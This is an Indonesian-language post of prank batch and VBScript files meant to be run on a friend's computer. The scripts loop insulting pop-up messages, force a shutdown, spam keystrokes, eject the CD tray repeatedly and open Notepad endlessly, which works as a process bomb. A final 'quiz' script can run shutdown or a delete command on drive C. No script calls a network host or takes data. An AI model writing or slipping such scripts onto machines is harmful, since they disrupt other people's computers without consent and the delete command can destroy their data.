Buat Komputer Temen

buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu

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@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...:D
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila... :)Jalankanlah hari mu dengan penuh senyuman dan nikmatilah setiap detik yang terlewatkan

2.bikin shutdown+message

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@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT

3.Mainin Caps Lock button

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Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD

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Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

5.bikin vbscript nongol mlulu

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Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs
ket:di task manager full wscript yg lg running :D

6.teken tombol backspace mlulu

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MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

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[b]7.otomatis ngetik "lu jelek banget sih" di notepad/word[/b]
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

save namafile.vbs


8.buka notepad trus menerus

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@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.


9.otomatis buka notepad lalu ngetik apa yg lo mau

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WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs
ket:
ini salah satu script favorit gw...dulu pernah gw nembak cewek pake cara ini..
gw rangkai pake kata2 gw...trus durasi ngetik nya juga di lambatin...
nama file nya isihatiku.vbs..
angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)


Tambahan ahh
dari script diatas temen2 kembangin aja lagi...misal kayak gini nih

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@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top